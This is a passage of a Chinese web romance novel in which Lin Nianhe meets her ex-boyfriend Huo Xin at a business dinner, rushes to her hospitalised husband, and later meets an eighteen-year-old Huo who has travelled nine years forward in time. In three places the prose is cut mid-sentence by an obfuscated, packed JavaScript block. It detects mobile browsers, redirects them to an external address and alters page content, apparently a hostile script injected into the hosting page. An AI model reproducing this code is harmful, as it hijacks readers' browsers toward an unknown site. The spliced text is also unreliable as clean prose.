徐寒一手撑着脑袋,昏昏欲睡。 车厢内静悄悄的,林念禾面无表情地抬眼和后视镜里的助理对视。半晌,她伸手,拽了下身边男人的衣角。 “小徐总,到会所了。” 她发誓,这是她迄今为止发出过的最谄媚的声音。像清宫剧里的大太监…… 徐寒睁开眼,少见地没有发脾气,只冷漠地嗯了一声,就径直下了车。 助理劫后余生般地冲林念禾递过去一个万分感激的眼神,接着马不停蹄地推开车门跟了上去。 走廊,侍应生领着他们一行人入座包厢。 大少爷脾气本来就一般,因为临时组的饭局耽误他晚上的酒局,这会儿浑身上下正散发着一股不情愿上班的怨气。林念禾坐在他的左手边,也往外嗖嗖冒着加班的怨气。 助理扫了两人一眼,心想自己要不是贪图那点工资,早撂挑子不干了。 就在徐寒差点在饭桌上睡过去的时候,门被推开。 领导迈入门的刹那,林念禾瞬间挂上笑容。直到看清为首人的脸时,她的笑突然僵住。 不光是笑,连带着身体的僵硬。徐寒一个人上前跟他们打完招呼,众人落座,他蹙眉看向还站在原地的林念禾。 “知道你不想上班,你以为我想?”他走过来,压低声音,“你给我态度放好点,越早哄完他们,越早下班。” 全公司的人都知道,林念禾工作能力强,连带着拔高整个部门的工作效率,实现准点下班的伟大梦想。 只有和她共事过一个月的徐寒知道,这人看着温柔性格好能力强,实际上内心想法比谁都丰富,喝多了骂起人来比谁都难听。 林念禾沉默地收回视线。 身侧颇有压迫性的存在,压得她呼吸都微微紊乱。 不知道是不是故意挑的座位,明明刚才都有人把主座让好了,他长腿一迈跨到她身边坐下。 熟悉的冷香萦绕周侧,林念禾强迫自己不去想那些记忆深处的事,偏偏大脑不听使唤似地开始循环播放往事。 她下狠劲掐了掐自己的手心,疼痛找回些许理智。 "小林今天怎么不说话啊?" 一道男声插进来,林念禾寻声望去,不太熟悉的脸。她在脑子里搜寻了几下,想起来是之前酒桌上为了签项目和她对灌酒的一个鳖孙。 "最近有点感冒,这会儿脑子有点转不过来。"她笑着解释。 对方没再深究。 聊了没几句,开始进入正式的酒局。 徐寒轻飘飘看了她一眼,让她以身士卒,替他挡酒。 没人性的资本家。 暗戳戳在心里骂了一句后,林念禾忙倒了杯酒挡在他面前。 从她毕业那天起一直到现在,还是没能明白酒局文化。一群所谓标榜的成功男人通过酒精来实现最底层的控制欲。 这杯酒你喝了,算你识相,你不喝就是不知好歹。 就好像她喝的不是酒,是对方身为男人的尊严。 尊严泡水,那还叫鬼的尊严。 脑子里晕乎乎的,酒精顺着食道滑进胃部,空落落的肚子对于她不爱惜自己的行为发出抗议。 同行的徐寒助理见她不适,于是立刻迎上前补位。 她坐回位置,为了躲酒四分的醉意硬是演成九分。 徐寒对于她堪比奥斯卡的演技早见怪不怪了。 装乖扮好能装到如此水平,也算是本事。有时想跟周围人抱怨两句,甚至找不到能懂他的人。 因为只要一听见他的话,他们都会不约而同地露出一种"小徐总在职场霸凌林念禾"的表情。 次数多了,某些时候就连徐寒也开始逐渐怀疑是不是原因出在自己身上,比如他过于刻薄? 林念禾今天穿的是一条黑白长裙,坐下后裙摆堪堪遮到小腿。撑额休息时,她听见席间有人跟她说话。 “小林,我记得你是清北毕业的?” “对。”她强撑起情绪,态度谦虚:“也是走运考上的。” 对方听见后,很浮夸地猛拍了下大腿,“哟,这么算起来,你和霍总是校友啊!” 他刚在旁边想了半天的话题,就为和霍锌搭上话。 木幸的总裁,如今多少人求着见一面都见不着。人回国短短半年,手段狠厉,咬下业内好几块大肥肉。 据说还是某个华裔老钱家族的继承人回国历练。 这背景,这手段,他要是能投其所好,直接一步登天。 林念禾愣了下,想撇清关系的话语刚到嘴边,一片光滑冰冷的西裤面料倏地贴上她的小腿。 皮肤透过衣料紧贴的滋味并不好受,尤其是在这种觥筹交错的场合,好像在给她某种奇怪的暗示。 自己应该是疯了,才会觉得霍锌故意贴上来。 林念禾默默安慰自己,余光扫到旁边,才意识到两人的板凳中间只隔着一小段距离,比其他人都要近。 怪不得会不小心碰到。 她吓了一跳,不敢扭头去直视霍锌。杵在原地等了几秒,发现他依然没有想要把腿拿开的苗头,不留声色地微微并拢双腿,重新保持距离。 "听说霍总在清北上的大学,说不定你们之前还在学校里见过。" "学校好几万人,还真有可能在路上遇见过。",林念禾下意识摩挲着无名指的婚戒。 这是她近几年佩戴婚戒养成的小习惯,一旦焦虑不安就会摸着戒指想问题。 霍锌垂眼,目光落在她的手上,冷不丁出声道:"见过。" 不止见过,他们还在夜深人静的教学楼角落接过吻,在白天的学校街道手牵手散步,在宿舍楼下拥抱。 林念禾顿时紧张到抿唇。她太清楚那些过往,也很清楚霍锌肆无忌惮的性格。 任何场合都不会成为他的阻碍,比如这会儿如果想要她下不来台,简简单单一句前女友,就能让她遭受无尽的流言蜚语。 是和平分手吧? 没必要让她下不来台吧? 不爱,也不能报复已婚前女友吧? 正当她在内心默默祈祷霍锌能遵守老死不相往来的分手准则时,他慢悠悠地补了句:"开学典礼上,她是学生代表。" 九年前的开学典礼能记到现在,在场的老狐狸或多或少都听出来几分微妙。 搞不清楚两人到底什么关系,桌上静悄悄的有些尴尬,良久,挑起话头的人赶忙哦了一声,"那也算是缘分。" 林念禾十分大方地笑了下,"没想到霍总还能记得我当年出的丑。年纪小做事糊涂,上台发言的稿子被我落在台下,我就当着全校师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880096|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的面跟罚站似地站了好几分钟,最后辅导员一边骂一边上来给我送稿子。" 这话真假参半,她真把稿子忘了,但是送发言稿的不是辅导员而是霍锌。 气氛顿时缓和不少,酒劲上头,那群人也开始顺着话头忆往昔。没人再敢往霍锌身上引话题,生怕戳中这位祖宗的大雷。 徐寒从她身后借过去洗手间,手跟犯贱似地往她肩膀上搭了下。 林念禾没好气地抖掉他的手,小声骂了句有病吧。 但因为声音幅度没控制好,结结实实地被他给听见了。 林念禾:…… 正当她做好少爷发难的准备,徐寒却一反常态地没说坏话,装作没事地收回手,临走前留下一个意味不明的眼神。 整个包厢,如同割裂成两个不同的环境。霍锌带来的人和鑫力以及政府领导打成一片,而他本人坐在位置上沉默不语。 林念禾摸摸耳垂,也不想开口说话。 古怪的氛围环绕着二人。 恋人再见的戏码在此时此刻继续上演,谁先开口,谁就在这场较量中率先失败。 更何况,说些什么呢? 说她已婚,家庭美满和谐,老公很爱她? 跟挑衅似的…… 她喝了口解酒的果汁,慢慢把一些心思压了下去。 酒桌太无聊,有霍锌在,没人敢往这边来。 林念禾把手机从包里拿出来,点进江予州的聊天框。 下班时她发的那条今天要加班,江予州到现在都没回。 不知怎么的,她没由来地有点心慌,于是问他要不要顺路去学校接他。 发完信息,林念禾摁灭手机,黑掉的屏幕除了她自己的脸,还映着一双漆黑的眼眸。 霍锌的眼睛长得很好看,狭长的眼尾,黑而密的睫毛,眼角缀着颗褐色小痣。眼皮微垂时,看谁都像看爱人。 发现他在打量自己的手机屏幕,林念禾知道他肯定看见那几条聊天记录了。 因为不喜欢腻歪,她给江予州的备注一直都是全名。光凭这点信息,压根看不出两人的关系。 她索性直接解释,"我老公。" 三个字,没头没尾。 霍锌却听懂她的意思,她在和她的丈夫聊天。 是那个昨天在江边对他偷偷宣示主权的男人。 他说不清自己的情绪,生气吗? 不生气。 只是觉得两个人情比金坚地前后脚向他表明关系的行为,有点让他发笑。 愈合的骨缝仿佛又蔓上丝丝痒意,整具身体开始难受。 霍锌面色微沉,不作回复。 察觉到他情绪的转变,搞不清他又闹哪样脾气,林念禾决定不再开口说话给自己找不痛快。 酒局散场时,徐寒已经醉到要往桌子底下钻。 助理三番两次想伸手去扶,都被他不耐烦地推开。 狗东西只乐意听人哄,还得女生哄。 没办法,作为公司唯一来的女生,林念禾费力地把他从地上拖起来塞进车里,然后又跟副驾的助理说了句注意安全,目送他们远去。 凉风吹拂过脸颊,站在街边看着车辆来往,她酒醒得也差不多了。 一阵电话铃声响起,林念禾接通电话,对面的人语言混乱,情绪明显崩溃,带着哭腔。 "师母,老师他……在抢救室。" 5. 第 5 章 方才在包厢里一直盘旋在心头的那道不安,咵嚓一声落在了实处。 像悬在空中的达摩克里斯之剑,终于利落地掀翻了她的头盖骨。 林念禾稳住情绪,一边向对话那头还在哭的学生询问医院地址,一边转身去拦车。 下一秒,黑色的劳斯莱斯停在她的面前,林念禾愣了两秒,对上车里人的脸。 霍锌眼皮上撩,表情淡漠,"上车。" 这种时候,她来不及去想什么前男友,什么纠缠。人命关天,就算这会儿霍锌让她喊他一声爸爸,她都能立马乖乖喊出口。 车后门被关上,林念禾对着司机报了个地址,随后全部的注意力都聚焦在了手机上。 学生抽泣道,"我去送纸质论文的时候,发现江老师晕倒在办公室。" "是我害了江老师,要不是我的论文写那么垃圾,他也不能被气进抢救室。" "你不要想太多,意外之所以是意外,就是因为我们没人能预见它。"林念禾掐了下发痛的眉心,冷静问道,"医生跟你说过情况吗?" "我……我不知道,刚才有医生出来让我尽快联系家属,说江老师的情况很严重,他们已经准备下病危通知书了。" 去市医院的路林念禾很熟悉,她扫了眼窗外预估时间,"我已经在路上了,大概还有十分钟到医院。" 那头的学生哭得上气不接下气,听见她就快要到医院,应了声好,然后挂断电话。 电话挂断,车里鸦雀无声。 前排的司机听见了她电话里的内容,知道她有家属在医院抢救,虽然老板没开口吩咐,但他很上道地在不超速的前提下猛踩油门。 林念禾握着手机,后背贴上座位。她很想让自己冷静下来,因为死亡面前,慌张是最没用的东西。 越想让自己冷静下来,越凌乱。刺耳的救护车声浮现在耳边,用快要刺破耳膜的音量提醒她那个夏天,她失去了一切。 下一瞬,林念禾觉得好像有水淹没进了她的口鼻,让自己无法呼吸。冰冷的液体顺着鼻腔滑进呼吸道,再流进她的肺部。 就在她快要真的把自己憋死过去的时候,有人往她手里塞了张纸巾。 意识回笼,林念禾缓缓眨动了两下眼睛,涩声道,"谢谢。" 是挺该感谢的,第一次见面帮她捡戒指,第二次见面送她去医院见她老公。 虽然这个老公现在还不知道生死。但霍锌仍然觉得自己自从和她重遇之后,善良大方得简直离谱。 还踏爹的豁达。 助理腰板笔挺地坐在副驾,不敢往后看。他觉得上司有点奇怪。 从人道角度出发,很正常的事情。第六感告诉他,霍锌作为活阎王,突然大发善心是一件相当恐怖的事情。 助理在脑子里排除掉n个理由,余光扫过后视镜,冷不防看见老板往女孩手里递纸巾。 总不能是惦记人家女孩吧? 可对方带着戒指。 这说明什么,说明人家有老公,有家庭。 说不定还有孩子!惦记有夫之妇,这是畜生行为,恬不知耻! 霍锌默了一会儿,"他身体不好?" “不知道。”林念禾脑子里乱糟糟的,好不容易缓过一口气,根本没心情去回复他的问题。哪怕今天在她最需要的时刻伸出援助之手,霍锌问出这个问题基于好奇,毫无恶意。 但她就是心里堵着一口气,上不去下不来。 林念禾很大力地擦拭手心的汗,低头挡住自己不得体的神情。对方大概没什么耐心接着和她嘘寒问暖下去,在听见她敷衍的回答后不再多言。 车刚落地,林念禾就冲进了医院急诊。 学生坐在抢救室的长椅上,这会儿已经冷静下来,不再哭泣。睁着双红肿的眼睛,站起来反过来安慰她:“没事的,师母你别着急。” 她拍拍男孩儿的肩膀,“时间不早了,你先回去休息吧,这里有我在就行。” 学生刚想说不用,就看见林念禾身后跟着一个长相不俗的男人。知道她有人陪,于是就没再坚持留下。 时钟滴答滴答转着,半夜的急诊依然忙碌。林念禾靠在墙上,站了不知道多久,终于听见声音。 不幸中的万幸,江予州无事,暂时脱离生命危险。被转入病房前,医生把她叫到一边,简单阐述过病情后,小心翼翼地观察林念禾的表情。生离死别她见过很多,悲剧降临在每一个幸福的家庭身上之后,都会让人无法接受。 她心里有些不忍,多般配的两个人,可惜了。 林念禾比想象中的要坚强很多。医生说话没压低音量,霍锌的注意力本来就全在那边,有关江予州病情的话,他听得一清二楚。 时间不止改变了一个人的气质,性格,还让人变得沉稳。 刚毕业工作的时候,林念禾经常因为一件很小的事情就会扑进他的怀里求安慰。来不及交方案给甲方,她会主动找他亲亲,然后熬夜奋战。家里飞进来一只蛾子,她会直接大叫着跳到他身上不肯下来。 从听见消息的那刻,林念禾就开始着手腾出时间方便照顾江予州。她先是打电话给朋友拜托对方照顾乐乐两天,接着又给正在加班的上司发信息告知他,自己需要请假一礼拜。 沉着冷静地如同换了一个人。霍锌觉得要是换作以前的林念禾,病房里面就算躺着的是个八竿子打不着的远房表亲,她都能流下几滴同情的泪水。 哪有妻子在丈夫病危的时候,比正常情况下还要理智。 霍锌靠在墙壁上,医院的消毒水味道并不好闻,已经深夜了,但忙碌的急诊依然很吵杂,救护车新送进来的病人被医生们急匆匆地推进抢救室。 司机和助理早被他打发回家,留下车停在医院。 病房里,林念禾无声地替江予州捻了捻被子。如同巨石压在心间,她说不出话,更想不通明明只有一天没见,为什么会变成现在这样。 出了病房,一抬眼,撞见还没走的霍锌,她心里有些惊讶,面上没表现出来。一颗心方才全系挂在江予州身上,这时才注意到霍锌在送她到医院后不仅没走,还陪到现在。 林念禾和他对视,自觉他是好人做到底,送佛送到西,才守到现在,于是说道:“谢谢霍总送我一程,时间不早了,就不打扰您了。” 言外之意是他可以滚蛋回家,别留在这打探前女友的私事。 深更半夜,纵使在公共场合,一个一米八多的男人站在她跟前,林念禾还是觉得没有安全感。 像是没听出她话里的含义,霍锌低头俯视她,平静的眼眸像一潭看不见底的湖水。 “不送送吗?” 二十七岁的成年男性要她送?送什么,送他去西天吗? “司机走的时候跟我说,你的包不小心落在车上了。”他问,“顺路去取还是等你方便的时候来拿?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880097|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林念禾忽然一噎,仔细回想,发现他说的是实话,包确实落在了霍锌的车后座。 那是她托朋友从香港代购的新款某大牌包包,今天心血来潮第一次背出门。 她不想和霍锌有其他联系,改天取包什么的,太过暧昧。毕竟高二俩人挑明心意的那次,就是他借口误拿了她的试卷,把她骗到他家。 可深夜,孤男寡女去车里拿包,也很奇怪。 正当她还犹豫不决,霍锌淡声道:“你在这等我一会儿,我去车里拿给你。” 这样一来,霍锌就得多麻烦一趟,市医院的停车场在最左侧,急诊在最右边,一来一回多走不少路。 林念禾的良心突然开始不安,因为自己而给对方带来麻烦是她最接受不了的事情。她悄悄打量了一眼霍锌的表情,从头到尾都很正常。 不像是在打什么坏心思。 想到这里,林念禾默默在心里给了自己一巴掌。是有多自恋才会认为分手三年,主动把她甩了的前男友会对已婚的自己心怀不轨。 “不用了,还是我跟您一块儿去拿吧。” 霍锌没再拒绝,看上去似乎也想早点回家,“好。” 电梯离病房不远,鲜红的数字跳到所在楼层,电梯门“叮”一声打开的瞬间,里面空荡荡。 林念禾准备迈步进入的瞬间,腕间一股巨大的力气扯着她。 等她反应过来后,人已经被拽进了楼道里。 漆黑的空间,她被压在墙壁上。极具侵略意味的男性身躯和自己间隔不足十厘米,只差一点就能亲密相触。林念禾感觉到一道视线正缓缓地审视着她,像凶兽抓住猎物前平静地思考怎么撕开食用。 妈的,狗东西。 她就知道这狗玩意儿没安好心。 手腕被他用力攥住,反压在她的腰后,林念禾用力挣扎两下无果,怒气蹭地一下冲上了脑门。 "放开我!" "瘦了。"霍锌垂眸,低声道,"他就是这么照顾你的?" 原本带肉的脸颊,现在轮廓分明。整张脸比三年前清瘦不少,褪去之前的青涩,此时生气冷脸看人倒有几分唬人的架势。 林念禾小的时候挑食,林母忙着工作,家里只有外婆带她。老人做饭单一,翻来覆去就那几道菜,她气性大遇到不爱吃的饭就不吃, 高中第一次见她,他就觉得瘦。 后来更是花了许多时间,硬给她喂得稍微圆润了一些。 不等林念禾开口骂人,男人的身体率先压了下来。仅剩的那点距离顿时消失,他松开她的手腕,接着紧搂上她的腰。林念禾猝不及防被后腰上的小臂带得前倾,两人之间密不可分。 体温隔着衣物传递过来,气息纠缠。 "你就找了这么个废物?" 是废物,躺在病床上时日不多的废物。 他可没什么同情心,对一个绝症患者恶言相向,霍锌没有一点心理负担。 正常人说完这种话,会半夜睡不着起来后悔地扇自己两巴掌。但霍锌是那种半夜起来,给别人两巴掌的人。 林念禾仰头望他,很想抬手扇他一耳光,声音发紧:"我找什么样的人和你有关系吗?" "他是我合法的丈夫,民政局领证宣誓的时候,我们彼此承诺过无论健康还是疾病,都会陪着对方。" "哪怕有天他真的不行了,我也会把他从鬼门关拽回来。" 6. 第 6 章 黑暗夺走人的视觉,放大感官。 话音刚落,林念禾感受到男人沉下来的气息。狭窄的楼梯口,空气仿佛停止流动,像一滩死水。 她莫名有些害怕,但又不想在霍锌的面前显得弱小无助,于是冷着脸不去看他。 “看不出来你居然是个情种?”霍锌的语气听上去像是嘲讽,“人都要死了,还不离不弃。是准备去竞选明年的感动人物?” 林念禾应得干脆,“是啊,我当然是情种。怎么,之前的七年里你没看出来?” 七年两个字一出来,她明显感觉到对面的人僵了一瞬。 月光透过小窗投射进来,微弱的光线下,霍锌阴沉着脸,抬手掐住她的下巴抬高,"林念禾,你装什么?他躺在抢救室里命悬一线的时候,你连一滴泪都不愿意为他流,这叫情种?" 他力气很大,林念禾吃痛地去掰开他的手。 那一小块儿皮肤很快地红起来,她揉了揉下巴,像是被踩到尾巴而竖起利刺的小兽,"哭能解决问题?哭要是能解决问题,就算让我哭瞎了我也愿意。" "我们夫妻之间的感情,能被你一个外人知道?你是趴我们家床底了还是钻我们家衣柜了?" 温热的呼吸靠过来,霍锌低头埋在她的颈窝,像是被人戳中痛处,"我只是想好好跟你说句话。" 结果开口,不知名的愤怒占据上风,说出的话一句比一句难听。 他不敢承认那是嫉妒,是掩埋在内心深处的嫉妒。 林念禾沉默,偏头躲避他的触碰。垂下的左手被人握住,霍锌强硬地挤开她的每根手指,十指紧紧相扣。 明明是最亲密的行为,冰冷的环状金属却提醒着他现实。 他自以为她的婚姻并不幸福,事实上两人感情好到不行。 光凭这一点点的认知,就足以让霍锌难以接受。 “凌晨一点,把我拽进楼梯间,压着我,不让我走。”她深吸了口气,像是竭力稳住自己的情绪,“你做的每一个行为,我都能打电话报警说你骚扰我。” 他松开手,后退半步,从她的裙子口袋里拿出手机,放在林念禾的掌心,目光牢牢落在她的脸上。 那意思很明确,就是要跟她纠缠到底,也不害怕她报警。 林念禾真要崩溃了。她不知道霍锌大晚上发什么疯,甚至真的想让她报警抓他。 刚才她说的话只是威胁,按照他目前的身价背景来看,即使报警,进去的人说不准会变成她。 先前因为江予州在抢救,要忙着处理各种事情,不能解决自己的负面情绪,被霍锌这么一刺激。各种复杂的情绪上头,脑子里一直紧绷的那根细弦猛地断裂。 她抬手,清脆的巴掌声在楼道里响起。 “我不知道你今天为什么好端端地跟我说这些话。”林念禾听见自己的声音在颤抖,“当年明明是你提的分手,现在又凑上来围观我的不幸。” “江予州是个很好的人,他对我很好,这两年我过得很幸福。我不知道未来会怎么样,但我知道无论未来是什么样子,我都会继续陪他走下去。” 这一巴掌她并没有收力,霍锌的左脸很快变得红肿,通红的指印浮在脸侧。他像感知不到疼痛,只注视着她,过了好久,用指腹擦去林念禾眼角的泪。 那块触碰过泪水的皮肤,好似被灼烧,密密麻麻的疼痛顺着手臂到达心脏。 林念禾现在哭和以前不一样,以前的她会像只小猫把自己埋起来,小声抽泣。现在却是无声,乌黑的眼眸蓄满了液体,再悄无声息地落下。 “对不起。”霍锌轻声说。 林念禾不想接受他的道歉,她很早之前就知道霍锌是个很恶劣的人,做事随心所欲。 所有因为分手产生的恶意都可以冲着她来,但不能伤害她的家人。这是底线。 她花了很多时间平复情绪,从楼梯间出来时,已经夜里两点。睡也睡不了多久,因为病房里还有其他病人,怕影响他们休息,所以林念禾没进去。 早晨, 林念禾等到昨天联系好的护工,简单交代了几句后离开医院。 昨天去得匆忙,她得回趟家替江予州拿些日常用品。 工作日的早上,小区的路上都是赶着上班和送孩子的人。 蹦蹦跳跳的小孩从林念禾的身边擦肩而过。 没走几步,一片落叶砸到她的脑袋,小孩捂着脑袋,嘴巴一撇,刚想嚎啕大哭乘机耍赖不去幼儿园。 冷不丁看见前面的人,大声喊道:“爸爸,那个哥哥长得好看。” 穿着黑色卫衣的男生听见声音,明显脚步一顿。大人也被她整得尴尬到不行,一把将她抱起来,“上幼儿园要迟到了,今天要是再迟到,妈妈生气,你和爸爸晚上都不能回家。” “可是我不想去幼儿园。” 父女俩说话的声音越来越远,男生松了口气,抬手戴上卫衣帽子,微微放快脚步,跟上前人。 林念禾回到家,先去洗澡换下这身沾满酒气和消毒水味道的衣服。 乐乐的狗笼早空荡荡,朋友昨天半夜就把它接走了。家里一时间异常安静,林念禾躺在沙发上,给秦於发消息。 秦於是她的高中同学,后来学了医,本硕博连读,去年才毕业。小的时候,他们两家住在一个小区,从幼儿园开始,就一直上同一所学校,还凑巧地分在了同一个班。 他以前很爱哭,一不顺心就哭。小学三年级之后,秦於要面子,不敢当别人面哭,就偷偷搁林念禾跟前哭。直到初二暗恋上隔壁班的一个女生,才逐渐不爱哭。 林念禾烦他烦得要死,等好不容易熬过了九年义务,她以为就此别过的时候,结果秦於超常发挥考上了一中。 虽说没有再分进同一个班,但也就隔着一个教室。 他上高中后,成绩更是突飞猛涨。秦母对此并不意外,在她眼里就算秦於是头猪,跟林念禾玩久了也会变得聪明。 她等了一会儿,秦於没回消息。大概是刚上完夜班,正在睡觉。 昨天一宿几乎没怎么睡,林念禾这会儿后知后觉地开始犯困。 才八点半,她可以睡两个小时。 眼皮沉沉,快要阖上的时候,她突然想起放在厨房的垃圾两天没丢。天气又热,再放下去估计得发酵了。 林念禾挣扎着爬起来,把垃圾袋口扎起来,打算拎到门外放着,等走的时候顺手扔掉。 门只开了一点点,她伸出身体,去放垃圾。视线一扫,无意识看见旁边墙壁前蹲着一个漆黑的东西,差点吓得魂都飞出来。 尖叫憋在嗓子眼,林念禾缓了口气,发现是个人蹲在那儿。 行吧,是人总比是鬼好。 这个人穿的很年轻,从身形上看,估计年纪不大。林念禾以为是楼上楼下哪家青春期的小孩跟父母吵架跑出来,于是大着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880098|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆子,碰碰他的肩膀。 上回楼下一小孩因为外婆不给他吃糖偷跑上来,江予州好心去哄他的时候,被小孩儿狠狠咬了一口。 不过面前这个,明显早过了不给糖吃就和父母闹脾气的阶段,应该不会咬她。 黑衣男孩察觉到她的动作,机械地慢慢抬起头。熟悉的脸看过来的时候,林念禾肠子都悔青了。 什么意思? 他居然专门守在她家门口找她算账。不就是扇了他一巴掌吗? 她知道霍锌心眼小,没想到小到这个地步。 动手打人的毕竟是她,林念禾顿时心虚不已,想往回跑,结果手腕先一步被他握住。 对方手心很凉,攥上来的瞬间,她下意识蹙眉。 "霍锌,你又想……" 没说完的话被卡断。 湿润漆黑的眼眸直直看着她,眼尾还有点红,看起来像被他自己大力揉搓而泛起的痕迹。 如果说昨晚霍锌看她的眼神像野兽伸出爪子准备玩弄猎物,那么眼前这个霍锌则像一只被主人抛弃的小狗,毫无威胁,只可怜巴巴地对人伸出爪子挽留对方。 她沉默了一瞬,仔细看发现,这个人和霍锌还是有些不同。一模一样的脸,但一个是成熟版,一个少年版。 他的眼神没有多余的掩饰,直凌凌地望着她,任何情绪都在眼底,一览无余。 职场混久了,她很少会这样去看人。任何事情都留三分,存六分情绪。 少年站起来,一米八三的身高,让林念禾不得不抬头去看她。 "你是?" "年年,我找了你很久。"他垂眸,语气听上去可怜兮兮。 林念禾的小名叫年年,因为她妈希望她岁岁年年都能平安顺遂。有天林母休假送她去上学,在校门口喊了声她的小名,凑巧被路过的霍锌听见,之后这人时不时就爱喊她小名逗她。 "我一睁眼,就到了这里。" 林念禾懵怔住,"你现在多大?" "十八。" "……" 她用了好久才消化掉自己18岁时的前男友穿越到九年后的这件事。 林念禾坐在沙发上,很久没睡觉的脑袋嗡嗡作响。她喝了口热水,压下内心的波涛汹涌。 对面的人,早换了一幅样子。全然看不出十分钟前蹲在门口,可怜兮兮得好像要被全世界抛弃。 霍锌双手交叉环在胸前,目光在屋内扫视了一圈,然后非常不满意地啧了一声。 林念禾:…… 她就不该让他进门。 方才在门口,见她不相信自己是穿越来的,霍锌把他们谈恋爱那点私事像报菜名似地一股脑往外报。 包括她在器材室偷亲他。 那段记忆是她最想删掉的东西,林念禾恼羞成怒,开门直接把他扯进来。 "九年后的我破产了?" 林念禾又喝了口热水,不知道他为什么心血来潮问这句话,"没有,你现在有钱到能买下整个小区。" "我以为我们的婚房起码是别墅,再不济也得是大平层,怎么居然是一套普通的三室一厅。"霍锌面无表情评价,"而且这个装修也很一般。" 林念禾握紧水杯,忍住想把水泼到他身上的冲动,心平气和道:"我们三年前就分手了。" "……" "我已经结婚了。" "……" 7. 第 7 章 刚才还斗志昂扬,一副主人架势对屋内摆设挑三拣四的霍锌忽地沉默。林念禾察觉到他周身下沉的气压,一时之间踌躇地不敢开口。 少年漆黑的眼眸里布满了冰碎,语气听上去十分危险,“分手了?” 林念禾点头,捧着水杯,怕热恋期的他无法接受现实,宽慰道:“不是所有情侣都能走到最后,分手是件很正常的事情。” 18岁,高三,他们在一起的第一年。 情窦初开的时候,脑子一热,就觉得眼前的人是自己要共度一生的伴侣。没成想遇见时空错乱,穿越到九年后,发现物是人非。 不仅分手了,初恋还闪婚了。 她有点担心小孩儿会不会自此再也不相信爱情。 但霍锌的反应比她预料的要正常许多。 “谁提的?” “你……”虽说被甩很丢人,最近几天被人反复提及这事,林念禾都快对此脱敏了。 少年却不这么想,他眉眼阴沉,站在原地思考了一会儿,面色愈发难看。 九年后的他怎么敢做出这么畜生的事情! 于是扭头大步流星地往玄关去,边走边问:“你知道附近最近的男科医院在哪儿吗?” 林念禾太阳穴猛跳,直觉这人八成想做出些什么惊天动地的大事。连忙起身,拽住他,“你去男科医院做什么?” “我去把这畜生送男科医院阉了。”霍锌咬着牙,恨不得将对方大卸八块,“他怎么敢的?他怎么敢出轨去找别人。你不用替他说好话,这种人多活一秒,我都觉得恶心。” 早在他们刚谈恋爱的时候,他就跟妈妈说过他有了想娶的女孩儿。霍家父母一向开明,不注重什么门当户对,只要儿子喜欢哪怕带回来一个男儿媳,也能尊重祝福。 所以在外人眼里阻碍他们在一起最大的障碍——家世,很早之前就被他解决了。 未来的他没有破产,那他更想不出会有什么其他外部因素逼得自己主动跟林念禾提分手。 外部因素排除了,那么只剩下了内部因素。 身边的狐朋狗友,有的换女朋友比换衣服还勤快,每次聚会带的女伴都不是同一个,前女友多到两只手都数不清。 他很厌恶这种行为。 父母恩爱,长辈宠溺,家境优渥,养出的霍锌却是个洁身自好的情种。 霍锌的精神洁癖让他没法儿接受未来的自己是个混蛋。更何况他伤害了林念禾,一想到很多个日夜里,林念禾可能因为他的渣男行为,哭到不能入睡,他就想立刻弄死九年后的自己。 “我不是在替他说好话。”林念禾认真道,“霍锌出行,身边都会带保镖,你怎么绑架他?” “而且他没有……” 话被打断,少年倏地改换思路,“你说的对,所以我去把我自己阉了。” 反正都是同一个人,他变太监,27岁的霍锌铁定也会变太监。 林念禾:! “不不不,你没有出轨。”林念禾真要给这祖宗跪了,拼命解释:“我们分手不关其他人的事,就是因为性格不合适。” 听到这话的少年霍锌冷笑,“我不信。都这种时候了,你居然还在为他说好话,替他开脱。” 喜欢她的第一天,他连他俩女儿的名字都想好了。他才不信什么性格不合适。林念禾和霍锌就是天造之和,天生一对! 霍锌为林念禾的恋爱脑感到痛心。 “好,你拦着不让我去。”他调转脚步,冲着阳台方向去。 大爷的,干什么啊! 自我阉割还不够,他还想跳楼?! 霍锌像是报了必死的决心,今天要彻底弄死自己来报复九年后的自己。 一夜未睡,加上没吃早饭,这会儿情绪大开大合,林念禾眼前倏地发黑,跌倒在地。 身后一道闷响,霍锌条件反射地转身,看见晕倒的林念禾,瞬间放弃跳楼,把她抱到沙发上,神色焦急,“你手机呢,我帮你打120。” 林念禾拍拍他快把自己勒死的手臂,示意松开自己,“没事,低血糖而已。” 客厅的茶几上有她前几天吃剩下的巧克力,霍锌把巧克力喂进她的嘴里。柔软的唇肉擦过手指,他什么多余的心思都没有,眼里是快要溢出来的担忧和心疼。 